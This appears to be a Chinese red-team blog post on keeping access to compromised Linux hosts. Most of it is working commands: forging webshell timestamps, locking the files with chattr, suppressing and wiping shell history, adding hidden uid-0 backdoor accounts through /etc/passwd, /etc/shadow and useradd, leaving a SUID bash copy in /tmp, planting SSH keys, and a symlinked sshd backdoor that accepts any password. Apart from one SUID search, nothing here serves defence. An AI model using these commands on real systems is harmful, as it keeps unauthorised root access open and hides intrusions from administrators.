首页 > 系统相关 >【Linux权限维持】红队1.0

【Linux权限维持】红队1.0

时间:2024-10-14 12:10:44浏览次数:6  
标签:红队 1.0 登录 passwd echo Linux 权限 root php

原创 白安全组

今年的红队评分标准,红队维持权限时间越久,得分越高,所以权限维持迫在眉睫。

一、隐藏技巧

1.1 修改文件属性

蓝队如果根据时间来判断文件是否为后门,可以通过参考index.php的时间,来比对,来排出shell文件

我们可以使用touch命令,来修改文件或者目录的时间属性。包括存取和更改时间:

touch -r index.php shell.php

1.2 文件锁定(权限隐藏)

在Linux中,使用chattr命令来防止root或者其他用户误删,这个权限是ls -l查看不出来的,达到一个隐藏权限的目的。

chattr +i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除

lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件

1.3 历史操作命令隐藏

方式一:针对我们的命令终端关闭历史聊天记录

[space]set +o history

[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

从上面命令之后,我们在同一个终端中,之后的所有命令都不会被记录在历史中,这个命令之前的所有东西都会原样记录在历史中。

需要重新开启历史记录,执行:

[Space]set -o history #将环境恢复原状

方式二:从历史记录中删除指定命令

指定某个记录进行删除

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有一个数字

history -d [num]

删除大规模的历史操作记录(不如方式一直接用),只保留前面150行


sed -i '150,$d' .bash_history

二、添加用户

2.1 passwd写入

我们可以直接通过写入passwd文件进行用户写入

/etc/passwd 各部分含义:

⽤户名:密码:⽤户ID:组ID:身份描述:⽤户的家⽬录:⽤户登录后所使⽤的SHELL

增加超级用户:

$echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd

直接通过passwd写入不适用于所有系统,因为passwd对于所有用户可读,所以现在很多系统使用加密分装shadow技术,真正的密码存在/etc/shadow文件中

/etc/shadow 各部分含义:

⽤户名:密码的MD5加密值:⾃系统使⽤以来⼝令被修改的天数:⼝令的最⼩修改间隔:⼝令更改的周期:⼝令失效的天数:⼝令失效以后帐号会被锁定多少天:⽤户帐号到期时间:保留字段尚未使⽤

如果系统不允许uid=0的用户远程登录,

可以增加一个普通用户

echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

如果可以允许uid=0远程登录:

增加超级用户命令

echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd 
#增加超级⽤户账号
passwd cshm 
#修改cshm的密码

设置不允许root账户远程登录,参考链接:(https://www.cnblogs.com/binblogs/p/5201307.html)

第三种情况:不交互⽆回显添加Linux密码

第一种

useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg 
#创建账户wxg、密码123456且为root权限
useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg 
#创建账户wxg、密码123456且为root权限

需要执行两次

第二种:

useradd test echo "123456" | passwd --stdin test

权限非常小

第三种:

useradd -u 0 -o -g root -G root user |echo -e "1qazwsx2wsx\n1qazwsx2wsx"|passwd user

也是需要执行两次,而且对密码强度有需求

三、SUID

当一个文件所属主的x标注位s时(简称suid),且所属主为root组,执行该文件时,其实是以root身份执行的。
必要条件:

1、SUID权限仅对⼆进制程序有效。

2、执⾏者对于该程序需要具有x的可执⾏权限

3、本权限仅在执⾏该程序的过程中有效

4、在执⾏过程中执⾏者将具有该程序拥有者的权限

我们可以创建一个suid权限的文件

$cp /bin/bash /tmp/.woot
$chmod 4755 /tmp/.woot
$ls -al /.woot

-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot

我们可以使用一般的用户权限去运行

$/tmp/.woot
$/tmp/.woot -p

bash2 针对 suid 有⼀些护卫的措施,使⽤-p参数来获取⼀个root shell
检测方式:

查找具有suid权限的文件即可

find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

四、SSH公私钥连接

公钥免密登录,也属于是一种常见的后门方式,在一些特殊情况下,还可以获取交互的shell,比如struts写入公钥,oracle写⼊公钥连接,Redis未授权访问等情景。

ssh-keygen -t rsa //⽣成公钥
echo id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到⽬标.ssh/authorized_keys⾥

五、软链接

通过软链接建立一个ssh后门

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

建立链接到/usr/local/su文件,也可以其他目录页,su文件名不变,否则无法登录。通过其他设置,更改su名字也可以。然后上面启动监听12345端口,登录时候密码随意。

登录如下:

ssh [email protected] -p 12345

这个目标进行软连接的时候,如果使用了其他账号创建,登录时需要使用对应的账号,而不是root

参考

标签:红队,1.0,登录,passwd,echo,Linux,权限,root,php
From: https://www.cnblogs.com/o-O-oO/p/18463837

相关文章

  • Linux
    基本概念简单分类Windows:微软公司的操作系统。Mac:苹果公司的类Unix操作系统。Linux:基于Linux内核的类Unix操作系统总称,如Ubuntu和CentOS。Unix是最早的多用户、多任务操作系统。文件管理在Linux操作系统中,所有被操作系统管理的资源,例如网络接口卡、磁盘......
  • Linux部署Java项目脚本
    1、新建startup.sh文件,写入内容:注意:1、"--spring.profiles.active=prod",是在springBoot项目中实际的生产环境配置2、"-Xms128m-Xmx1024m",可根据实际资源分配内存大小3、"/home/jenkins-build/workspace/8888/springBootProject.jar",实际jar包所在路径4、"springBoo......
  • Linux从入门到精通-第二章(Linux的基础命令)
    文章目录前言一、linux的目录结构和命令基础1:linux的目录结构2:linux基础命令a:命令基础格式二、基础命令(上)1.ls命令2:cd命令和pwd命令a:切换目录命令cdb:pwd命令4:相对路径绝对路径和特殊路径5:mkdir命令三:基础命令(下)1:touch,cat,more命令a:touch命令b:cat命令c:more命......
  • Linux操作系统常见的命令
    目录ls命令cd命令pwd命令mkdir命令touch命令cat命令more命令cp命令(copy)mv命令(move)rm命令which命令find命令grep命令wc命令echo命令tail命令su-root切换到root用户ls命令:列出当前工作目录的内容语法:ls[-a-l-h][linux路径]-a-l-h和linux路径都......
  • linux 操作系统下的dpkg 命令介绍和使用案例
    dpkg命令介绍dpkg是Debian及其衍生版(如Ubuntu)中用于管理软件包的底层工具。它的全称为“DebianPackage”,主要用于安装、删除、构建和管理以.deb格式存在的软件包。虽然dpkg功能强大,但它不会自动处理软件包之间的依赖关系,因此在使用时需谨慎主要功能安装软件包:使用dpkg-i......
  • 600条最强 Linux 命令总结(珍藏版)
    https://mp.weixin.qq.com/s/O5dauj1TU66skvci_ST9Rw  一、基本命令uname-m显示机器的处理器架构uname-r显示正在使用的内核版本dmidecode-q显示硬件系统部件(SMBIOS/DMI)hdparm-i/dev/hda罗列一个磁盘的架构特性hdparm-tT/dev/sda在磁盘上执行测试性读......
  • Veritas NetBackup 10.5 (Unix, Linux, Windows) - 领先的企业备份解决方案
    VeritasNetBackup10.5(Unix,Linux,Windows)-领先的企业备份解决方案The#1enterprisebackupandrecoverysolution.请访问原文链接:https://sysin.org/blog/veritas-netbackup-10/查看最新版。原创作品,转载请保留出处。作者主页:sysin.org备份和恢复软件解决方案领......
  • Linux入门
    Linux入门文章目录Linux入门前言(为什么选择linux)一、linux启动过程二、Linux系统目录结构三、Linux文件基本属性五、Linuxvi/vim六、Linuxapt命令前言(为什么选择linux)一、linux启动过程Linux系统的启动过程可以分为5个阶段:1,内核的引导。当计算机打开电源......
  • 01背包问题/Ieee全球极限编程大赛11.0题BeetleBag题解/洛谷P1926 小书童——刷题大军
    基础01背包问题概述给出一个容积为V的背包,有i个物体,每个物体都有自己的体积和价值,用Vi和Wi表示,要将这些物体装进背包里面,问怎样才能使得装入物体的总价值最大?最大为多少?解决思路1.如果你没能正确理解这道题,尤其是对于很多新手,第一反应可能是将所有物体的单位价值算出来,然后......
  • linux kernel编译
    编译x86的kernelexportARCH=x86_64exportCROSS_COMPILE=x86_64-linux-gnu-makedefconfigmake-j32中间出现了libelf.h找不到,sudoapt-getinstalllibelf-devbc解决。编译aarch64的kernelexportARCH=x86_64exportCROSS_COMPILE=x86_64-linux-gnu-makedefconfig......